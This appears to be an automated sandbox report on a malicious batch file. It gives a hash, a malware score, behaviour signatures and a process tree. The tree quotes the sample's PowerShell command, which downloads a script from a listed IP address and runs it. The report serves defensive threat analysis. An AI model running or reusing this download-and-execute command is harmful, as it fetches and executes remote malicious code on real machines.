Analysis

  • max time kernel
    99s
  • resource
    win10v191014
  • submitted
    20-12-2019 06:10

General

  • Target

    e8kSryaf.bat

  • Sample

    191220-matk4mdz1j

  • SHA256

    632b25be71b19500300e6e3e404c0b3c7bc7f8538bc3db94fac827bb91ee848a

Score
10/10

Malware Config

Extracted

Language ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/e8kSryaf

Signatures

  • Enumerates system info in registry ⋅ 2 TTPs 2 IoCs
  • Program crash ⋅ 1 IoCs
  • Suspicious use of AdjustPrivilegeToken ⋅ 3 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 1 IoCs
  • Checks processor information in registry ⋅ 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e8kSryaf.bat"
    PID:5028
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e8kSryaf');Invoke-FRJQQICACGLPV;Start-Sleep -s 10000"
      PID:5072
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 704
        Program crash
        Suspicious use of AdjustPrivilegeToken
        Suspicious behavior: EnumeratesProcesses
        PID:3048

Network

MITRE ATT&CK Matrix

Collection

    Command and Control

      Credential Access

        Defense Evasion

          Execution

            Exfiltration

              Impact

                Initial Access

                  Lateral Movement

                    Persistence

                      Privilege Escalation

                        Replay Monitor

                        00:00 00:00

                        Downloads

                        • memory/3048-0-0x0000000004E40000-0x0000000004E41000-memory.dmp
                        • memory/3048-1-0x0000000005800000-0x0000000005801000-memory.dmp
                        • memory/3048-22-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-23-0x00000000058F0000-0x00000000058F1000-memory.dmp
                        • memory/3048-24-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-25-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-26-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-27-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-28-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-29-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-30-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-31-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-32-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-33-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-34-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-35-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-36-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-37-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-38-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-39-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-40-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-41-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-42-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-43-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-44-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-45-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-46-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-47-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-48-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-49-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-50-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-51-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-52-0x0000000003550000-0x0000000003551000-memory.dmp
                        • memory/3048-53-0x0000000003550000-0x0000000003551000-memory.dmp